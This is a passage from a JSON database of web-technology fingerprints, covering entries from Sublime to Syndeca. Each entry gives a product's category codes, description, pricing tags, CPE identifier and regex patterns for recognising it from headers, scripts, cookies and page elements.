\"https://www.subbly.co\"\n  },\n  \"Sublime\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Sublime (formerly Sublime Skinz) operator of an advertising agency intended to offer skin-based advertising services to clients.\",\n    \"icon\": \"Sublime.svg\",\n    \"js\": {\n      \"loadSublimeSkinz\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ayads\\\\.co/\"\n    ],\n    \"website\": \"https://www.sublime.xyz\"\n  },\n  \"SublimeVideo\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"SublimeVideo is a framework for HTML5 Video Player.\",\n    \"icon\": \"SublimeVideo.png\",\n    \"js\": {\n      \"sublimevideo\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.sublimevideo\\\\.net/js/[a-z\\\\d]+\\\\.js\"\n    ],\n    \"website\": \"https://sublimevideo.net\"\n  },\n  \"Subrion\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-CMS\": \"Subrion CMS\"\n    },\n    \"icon\": \"Subrion.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Subrion \"\n    },\n    \"website\": \"https://subrion.com\"\n  },\n  \"Substack\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Substack is an American online platform that provides publishing, payment, analytics, and design infrastructure to support subscription newsletters.\",\n    \"headers\": {\n      \"x-cluster\": \"substack\",\n      \"x-served-by\": \"Substack\"\n    },\n    \"icon\": \"Substack.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://substack.com/\"\n  },\n  \"Subversion\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:subversion:*:*:*:*:*:*:*:*\",\n    \"description\": \"Subversion is a centralized version control system for managing files and directories across software development teams.\",\n    \"headers\": {\n      \"server\": \"\\\\sSVN/([\\\\d\\\\.]+)\\\\s\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Subversion.svg\",\n    \"oss\": true,\n    \"website\": \"https://subversion.apache.org\"\n  },\n  \"Sucuri\": {\n    \"cats\": [\n      31,\n      16\n    ],\n    \"description\": \"Sucuri is a cybersecurity company that provides website security solutions and services.\",\n    \"headers\": {\n      \"x-sucuri-cache:\": \"\",\n      \"x-sucuri-id\": \"\"\n    },\n    \"icon\": \"sucuri.svg\",\n    \"website\": \"https://sucuri.net/\"\n  },\n  \"Sugar\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Sugar is a Javascript utility library for working with native objects.\",\n    \"icon\": \"Sugar.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/sugar/([\\\\d\\\\.]+)/release/sugar\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://sugarjs.com\"\n  },\n  \"SugarJS\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"SugarJS is a JavaScript library that simplifies working with native JavaScript objects, enhancing productivity and code readability.\",\n    \"icon\": \"SugarJS.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"sugar\\\\/?((?:\\\\d+\\\\.)+\\\\d+)?(?:\\\\/sugar(?:-full)?)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://sugarjs.com/\"\n  },\n  \"SugarWOD\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"SugarWOD is a workout software for coaches and everyday athletes.\",\n    \"icon\": \"SugarWOD.svg\",\n    \"js\": {\n      \"SugarWOD.activeTracks\": \"\",\n      \"SugarWODUtil.addAnimation\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sugarwod.com\"\n  },\n  \"SuiteCRM\": {\n    \"cats\": [\n      53\n    ],\n    \"cookies\": {\n      \"SCRMSESSID\": \"\"\n    },\n    \"description\": \"SuiteCRM is an open-source alternative to proprietary software such as Salesforce and Dynamics, offering customer relationship management features.\",\n    \"dom\": [\n      \"link[href*='dist/themes/suite8/']\"\n    ],\n    \"icon\": \"SuiteCRM.svg\",\n    \"oss\": true,\n    \"saas\": true,\n    \"website\": \"https://suitecrm.com\"\n  },\n  \"Suiteshare\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Suiteshare powers conversational shopping experiences.\",\n    \"icon\": \"Suiteshare.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.suiteshare\\\\.com\"\n    ],\n    \"website\": \"https://suiteshare.com/\"\n  },\n  \"Sulu\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:sulu:sulu:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sulu is the go-to CMS for back-end projects written within the PHP Symfony framework.\",\n    \"headers\": {\n      \"X-Generator\": \"Sulu/?(.+)?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Sulu.svg\",\n    \"implies\": [\n      \"Symfony\"\n    ],\n    \"js\": {\n      \"SULU_CONFIG.suluVersion\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://sulu.io\"\n  },\n  \"SummerCart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"SummerCart is an ecommerce platform written in PHP.\",\n    \"dom\": {\n      \"link\": {\n        \"attributes\": {\n          \"href\": \"com\\\\.summercart\\\\.\\\\;confidence:100\"\n        }\n      }\n    },\n    \"icon\": \"SummerCart.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"SCEvents\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.summercart.com\"\n  },\n  \"Summernote\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"Summernote is an open-source JavaScript library that offers a feature-rich WYSIWYG editor for web applications, allowing users to create and edit formatted content in a familiar word processor-like interface.\",\n    \"icon\": \"Summernote.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/(?:S|s)ummernote(?:\\\\.min)?\\\\.js\",\n      \"/summernote(?:@|-)([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://summernote.org\"\n  },\n  \"Sumo\": {\n    \"cats\": [\n      5,\n      32\n    ],\n    \"description\": \"Sumo is a plugin offering set of marketing tools to automate a website's growth. These tools help drive extra traffic, engage visitors, increase email subscribers and build community.\",\n    \"icon\": \"Sumo.png\",\n    \"js\": {\n      \"sumo\": \"\",\n      \"sumome\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sumo(?:me)?\\\\.com/\"\n    ],\n    \"website\": \"https://sumo.com\"\n  },\n  \"SunOS\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:oracle:sunos:*:*:*:*:*:*:*:*\",\n    \"description\": \"SunOS is a Unix-branded operating system developed by Sun Microsystems for their workstation and server computer systems.\",\n    \"headers\": {\n      \"Server\": \"SunOS( [\\\\d\\\\.]+)?\\\\;version:\\\\1\",\n      \"Servlet-engine\": \"SunOS( [\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"website\": \"https://oracle.com/solaris\"\n  },\n  \"Suncel\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Suncel is a powerful and versatile content platform with a simple visual builder for marketers and publishers.\",\n    \"dom\": [\n      \"img[srcset*='assets.suncel.io']\"\n    ],\n    \"icon\": \"Suncel.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.suncel\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Next.js\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://suncel.io\"\n  },\n  \"Supabase\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Supabase is an open-source platform that offers a Postgres database, Authentication, APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings for project development.\",\n    \"icon\": \"Supabase.svg\",\n    \"implies\": [\n      \"PostgreSQL\"\n    ],\n    \"js\": {\n      \"__NUXT__.config.public.SUPABASE_URL\": \"\",\n      \"__NUXT__.config.public.supabase\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://supabase.com\"\n  },\n  \"Super Builder\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Super Builder is a new tool for creating sleek landing pages right in Notion.\",\n    \"dom\": [\n      \"link[href*='super-static-assets.'], link[href*='super.so'], img[srcset*='super-static-assets.']\"\n    ],\n    \"icon\": \"Super Builder.svg\",\n    \"implies\": [\n      \"Notion\",\n      \"Next.js\"\n    ],\n    \"oss\": false,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://super.so\"\n  },\n  \"Super Socializer\": {\n    \"cats\": [\n      69,\n      87\n    ],\n    \"description\": \"Super Socializer is a multipurpose social media plugin for WordPress.\",\n    \"icon\": \"Super Socializer.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"plugins/super-socializer/.+?ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://super-socializer-wordpress.heateor.com\"\n  },\n  \"SuperHote\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"SuperHote is a hotel management software designed to streamline hotel bookings, reservations, and other management tasks.\",\n    \"icon\": \"SuperHote.svg\",\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.superhote\\\\.com\"\n    ],\n    \"website\": \"https://www.superhote.com\"\n  },\n  \"SuperLemon app\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"SuperLemon app is an all-in-one WhatsApp plugin for Shopify stores.\",\n    \"icon\": \"SuperLemon.svg\",\n    \"implies\": [\n      \"WhatsApp Business Chat\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/files/superlemon_.+\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/whatsapp-chat-button\"\n  },\n  \"SuperPWA\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"SuperPWA helps to easily convert your WordPress website into Progressive Web Apps instantly through our widely used PWA software without in coding.\",\n    \"icon\": \"superpwa.svg\",\n    \"implies\": [\n      \"WordPress\",\n      \"PWA\"\n    ],\n    \"js\": {\n      \"superpwa_sw\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"website\": \"https://superpwa.com\"\n  },\n  \"Superblog\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Superblog is a blogging platform that automatically manages SEO audits, page speed optimization, sudden traffic spikes, and reader experience.\",\n    \"dom\": [\n      \"link[href*='superblog.supercdn.cloud/']\"\n    ],\n    \"icon\": \"Superblog.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://superblog.ai\"\n  },\n  \"Superchat\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Superchat is an all-in-one messaging software that helps businesses build loyal customer relationships, send and automate newsletters, sell products, and answer questions.\",\n    \"icon\": \"Superchat.svg\",\n    \"js\": {\n      \"Superchat.init\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.superchat\\\\.de/\"\n    ],\n    \"website\": \"https://www.superchat.com/\"\n  },\n  \"Superform\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Superform is a next-gen form engine developed for Webflow's no-code community, enabling form creation and management without requiring coding knowledge.\",\n    \"icon\": \"Superform.svg\",\n    \"js\": {\n      \"Superform\": \"\",\n      \"SuperformAPI.version\": \"^v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://superformjs.webflow.io/\"\n  },\n  \"Supersized\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"Supersized.png\",\n    \"scriptSrc\": [\n      \"supersized(?:\\\\.([\\\\d.]*[\\\\d]))?.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://buildinternet.com/project/supersized\"\n  },\n  \"Superspeed\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Superspeed is a page speed optimizer app for Shopify based sites.\",\n    \"icon\": \"Superspeed.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"superspeed\\\\.gadget-edge\\\\.com\"\n    ],\n    \"website\": \"https://apps.shopify.com/superspeed-free-speed-boost\"\n  },\n  \"Support Hero\": {\n    \"cats\": [\n      4,\n      13\n    ],\n    \"description\": \"Support Hero is a knowledge base solution to reduce inbound support requests.\",\n    \"dom\": [\n      \"a[href*='.supporthero.io/'][target='_blank']\"\n    ],\n    \"icon\": \"Support Hero.svg\",\n    \"js\": {\n      \"supportHeroWidget\": \"\",\n      \"supporthero\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.supporthero.com/\"\n  },\n  \"Surge\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Static website publishing.\",\n    \"dom\": [\n      \"link[href*='surge.sh']\"\n    ],\n    \"icon\": \"Surge.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"surge\\\\.sh(?:\\\\/[-\\\\w]{0,40})?\\\\.js\"\n    ],\n    \"url\": [\n      \"surge\\\\.sh\"\n    ],\n    \"website\": \"https://surge.sh\"\n  },\n  \"Survale\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Survale is an employer satisfaction platform.\",\n    \"icon\": \"Survale.svg\",\n    \"js\": {\n      \"survale.add_event\": \"\",\n      \"survale_custom\": \"\",\n      \"survale_obj\": \"\",\n      \"survale_site_ids\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://survale.com\"\n  },\n  \"Survicate\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Survicate is an all-in-one customer feedback tool that allows you collect feedback.\",\n    \"dom\": [\n      \"link[href*='.survicate.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"api\\\\.survicate\\\\.com\"\n    },\n    \"icon\": \"Survicate.svg\",\n    \"js\": {\n      \"survicate\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.survicate\\\\.com/\"\n    ],\n    \"website\": \"https://survicate.com\"\n  },\n  \"Svbtle\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Svbtle is a minimalist blogging platform that focuses on simplicity and a clean writing experience.\",\n    \"icon\": \"svbtle.svg\",\n    \"meta\": {\n      \"generator\": \"^Svbtle\\\\.com$\"\n    },\n    \"url\": [\n      \"^https?://[^/]+\\\\.svbtle\\\\.com\"\n    ],\n    \"website\": \"https://www.svbtle.com\"\n  },\n  \"Svelte\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Svelte is a free and open-source front end compiler created by Rich Harris and maintained by the Svelte core team members.\",\n    \"dom\": [\n      \"link[href*='/svelte/']\"\n    ],\n    \"icon\": \"Svelte.svg\",\n    \"js\": {\n      \"__svelte\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://svelte.dev\"\n  },\n  \"SvelteKit\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"SvelteKit is the official Svelte framework for building web applications with a flexible filesystem-based routing.\",\n    \"dom\": {\n      \"#svelte-announcer\": {\n        \"exists\": \"\"\n      },\n      \"a,body\": {\n        \"attributes\": {\n          \"data-sveltekit-preload-data\": \"\",\n          \"sveltekit:prefetch\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Svelte.svg\",\n    \"implies\": [\n      \"Svelte\",\n      \"Node.js\",\n      \"Vite\"\n    ],\n    \"meta\": {\n      \"generator\": \"SvelteKit\"\n    },\n    \"oss\": true,\n    \"website\": \"https://kit.svelte.dev\"\n  },\n  \"Sverve\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Sverve is a platform facilitating content curation and social post management with targeted matchmaking services.\",\n    \"dom\": [\n      \"a[href*='.sverve.com/'] > img[src*='.sverve.com/']\"\n    ],\n    \"icon\": \"Sverve.svg\",\n    \"js\": {\n      \"svervdiv\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sverve.com\"\n  },\n  \"Swagger UI\": {\n    \"cats\": [\n      4\n    ],\n    \"css\": [\n      \"swagger-ui\"\n    ],\n    \"description\": \"Swagger UI is a collection of HTML, JavaScript, and CSS assets that dynamically generate documentation from a Swagger-compliant API.\",\n    \"icon\": \"Swagger UI.svg\",\n    \"js\": {\n      \"SwaggerUIBundle\": \"\",\n      \"SwaggerUIStandalonePreset\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/([\\\\d.]+))?/swagger-ui-bundle\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://swagger.io/tools/swagger-ui\"\n  },\n  \"Swagify\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Swagify allows you to upsell, cross-sell, and promote, by creating as many completely customizable offers as you want.\",\n    \"icon\": \"Swagify.svg\",\n    \"js\": {\n      \"Swagify\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.swagifyapp\\\\.com/\"\n    ],\n    \"website\": \"https://swagifyapp.com\"\n  },\n  \"Swat.io\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Swat.io is a platform offering social media management solutions for teams.\",\n    \"icon\": \"Swat.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.swat\\\\.io/\"\n    ],\n    \"website\": \"https://swat.io\"\n  },\n  \"Sweet Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Sweet Analytics is a platform that consolidates ecommerce sales and marketing data into a single location for streamlined analysis.\",\n    \"icon\": \"SweetAnalytics.svg\",\n    \"js\": {\n      \"sweet.acceptCookies\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sweetanalytics.com\"\n  },\n  \"SweetAlert\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"SweetAlert is a JavaScript library that provides alternative alert and modal dialog boxes for web applications, with customisable features, aiming to improve the user interface of the default browser dialogs.\",\n    \"dom\": {\n      \"link[href*='sweet-alert']\": {\n        \"attributes\": {\n          \"href\": \"sweet-alert(?:\\\\.min)?\\\\.css\"\n        }\n      }\n    },\n    \"icon\": \"SweetAlert.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"sweet(?:-)?alert(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://sweetalert.js.org\"\n  },\n  \"SweetAlert2\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"SweetAlert2 is a JavaScript library that provides customisable, visually appealing, and responsive alert and modal dialog boxes for web applications.\",\n    \"dom\": {\n      \"link[href*='sweetalert2']\": {\n        \"attributes\": {\n          \"href\": \"sweetalert2(?:\\\\.min)?\\\\.css\"\n        }\n      }\n    },\n    \"icon\": \"SweetAlert2.svg\",\n    \"js\": {\n      \"Sweetalert2\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"sweetalert2(?:\\\\.all)?(?:\\\\.min)?\\\\.js\",\n      \"/npm/sweetalert2@([\\\\d.]+)\\\\;version:\\\\1\",\n      \"sweetalert2@([\\\\d.]+)/dist/sweetalert2(?:\\\\.all)(?:\\\\.min)\\\\.js\",\n      \"limonte-sweetalert2/([\\\\d.]+)/sweetalert2(?:\\\\.all)(?:\\\\.min)\\\\.js\"\n    ],\n    \"website\": \"https://sweetalert2.github.io/\"\n  },\n  \"SweetHelp\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"SweetHelp is a messaging solution that recovers abandoned carts by sending texts via Whatsapp and SMS.\",\n    \"icon\": \"SweetHelp.svg\",\n    \"js\": {\n      \"sweetHelpBtnLoad\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sweethelp.io\"\n  },\n  \"Swell\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"swell-session\": \"\"\n    },\n    \"description\": \"Swell is a headless ecommerce platform for modern brands, startups, and agencies.\",\n    \"dom\": [\n      \"img[srcset*='.swell.is'], img[srcset*='.swell.store'], img[srcset*='.schema.io']\"\n    ],\n    \"excludes\": [\n      \"Shopify\"\n    ],\n    \"icon\": \"Swell.svg\",\n    \"js\": {\n      \"swell.version\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.swell.is\"\n  },\n  \"Swiffy Slider\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Swiffy Slider is a wrapper defined in html with slides, navigation and indicators as its children.\",\n    \"dom\": [\n      \"link[href*='/swiffy-slider.min.css']\"\n    ],\n    \"icon\": \"Swiffy Slider.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/npm/swiffy-slider@([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://swiffyslider.com\"\n  },\n  \"Swiftype\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Swiftype provides search software for organisations, websites, and computer programs.\",\n    \"icon\": \"Swiftype.svg\",\n    \"js\": {\n      \"Swiftype\": \"\"\n    },\n    \"scriptSrc\": [\n      \"swiftype\\\\.com/embed\\\\.js$\"\n    ],\n    \"website\": \"https://swiftype.com\"\n  },\n  \"Swipe Pages\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Swipe Pages is a platform used to build landing pages.\",\n    \"icon\": \"Swipe Pages.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.swipepages\\\\.com/\"\n    ],\n    \"website\": \"https://swipepages.com\"\n  },\n  \"Swiper\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Swiper is a JavaScript library that creates modern touch sliders with hardware-accelerated transitions.\",\n    \"dom\": [\n      \"div[data-swiper-slide-index]\",\n      \"swiper-container\",\n      \"swiper-slide\",\n      \"div.swiper-wrapper\",\n      \"div.swiper-initialized\",\n      \"div.swiper-vertical\"\n    ],\n    \"icon\": \"Swiper.svg\",\n    \"js\": {\n      \"Swiper\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"swiper(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://swiperjs.com\"\n  },\n  \"Swoogo\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Swoogo is an event management software.\",\n    \"icon\": \"Swoogo.svg\",\n    \"js\": {\n      \"swoogoUrl\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.swoogo\\\\.com/\"\n    ],\n    \"website\": \"https://swoogo.events\"\n  },\n  \"Swoop\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Swoop is a search targeting advertising system.\",\n    \"dom\": [\n      \"link[href*='ardrone.swoop.com'], script#swoop_sdk\"\n    ],\n    \"icon\": \"Swoop.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.swoop\\\\.com/\"\n    ],\n    \"website\": \"https://www.swoop.com\"\n  },\n  \"Swup\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Swup is a versatile and expandable library for implementing page transitions on websites that use server-side rendering.\",\n    \"dom\": [\n      \"html[class*='swup-enabled']\"\n    ],\n    \"icon\": \"Swup.svg\",\n    \"js\": {\n      \"Swup\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:dist\\\\/)?)?swup(?:-preload)?(?:-plugin)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://swup.js.org\"\n  },\n  \"Swym Wishlist Plus\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Swym Wishlist Plus enables your customers to bookmark their favorite products and pick up where they left off when they return.\",\n    \"icon\": \"Swym.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"swappName\": \"Wishlist\",\n      \"swymCart.attributes\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://swym.it/apps/wishlist/\"\n  },\n  \"Sylius\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:sylius:sylius:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sylius is an open-source ecommerce framework based on Symfony full stack.\",\n    \"dom\": {\n      \"body.sylius_homepage\": {\n        \"attributes\": {\n          \"class\": \"\"\n        }\n      },\n      \"div#sylius-cart-button\": {\n        \"attributes\": {\n          \"id\": \"\"\n        }\n      },\n      \"img[src*='sylius_shop_product_tiny_thumbnail']\": {\n        \"attributes\": {\n          \"src\": \"/sylius_shop_product_tiny_thumbnail/\"\n        }\n      },\n      \"input#sylius_add_to_cart_cartItem_variant\": {\n        \"attributes\": {\n          \"id\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Sylius.svg\",\n    \"implies\": [\n      \"Symfony\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"syliusshop/script\\\\.js\",\n      \"syliusgtmenhancedecommerceplugin\"\n    ],\n    \"website\": \"https://sylius.com\"\n  },\n  \"Symbolset\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Symbolset is a tool that converts words into icons by utilizing font technology, enabling visual representation of text-based content for various applications.\",\n    \"icon\": \"Symbolset.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.symbolset\\\\.com/\"\n    ],\n    \"website\": \"https://symbolset.com\"\n  },\n  \"Symfony\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"sf_redirect\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:sensiolabs:symfony:*:*:*:*:*:*:*:*\",\n    \"description\": \"Symfony is a PHP web application framework and a set of reusable PHP components/libraries.\",\n    \"dom\": [\n      \"div.sf-toolbar-block, div.sf-toolbar\"\n    ],\n    \"icon\": \"Symfony.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Sfjs\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://symfony.com\"\n  },\n  \"Sympa\": {\n    \"cats\": [\n      30\n    ],\n    \"cpe\": \"cpe:2.3:a:sympa:sympa:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sympa is an open-source mailing list management (MLM) software.\",\n    \"html\": [\n      \"<a href=\\\"https?://www\\\\.sympa\\\\.org\\\">\\\\s*Powered by Sympa\\\\s*</a>\"\n    ],\n    \"icon\": \"sympa.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Sympa$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.sympa.org/\"\n  },\n  \"Syncee\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Syncee is a global B2B dropshipping and wholesale platform where retailers can find millions of products from local suppliers, and can enjoy automated solutions.\",\n    \"icon\": \"Syncee.svg\",\n    \"js\": {\n      \"syncee_globals_supplier\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://syncee.co\"\n  },\n  \"Syncfusion\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Syncfusion is a JavaScript UI controls library that includes a wide range of UI components in a single package.\",\n    \"dom\": [\n      \"link[href*='cdn.syncfusion.com/']\"\n    ],\n    \"icon\": \"Syncfusion.svg\",\n    \"js\": {\n      \"Syncfusion\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"syncfusion(?:\\\\.com)?(?:\\\\/ej\\\\d)?(?:-[base|input|buttons|lists|calendars]+)?(?:\\\\/dist)?(?:\\\\/global)?(?:\\\\/ej\\\\d)?(?:-[base|input|buttons|lists|calendars]+)?(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.syncfusion.com\"\n  },\n  \"Syndeca\": {\n    \"cats\": [\n      10,\n      76\n    ],\n    \"description\": \"Syndeca is a visual commerce platform that allows brands to quickly create engaging, 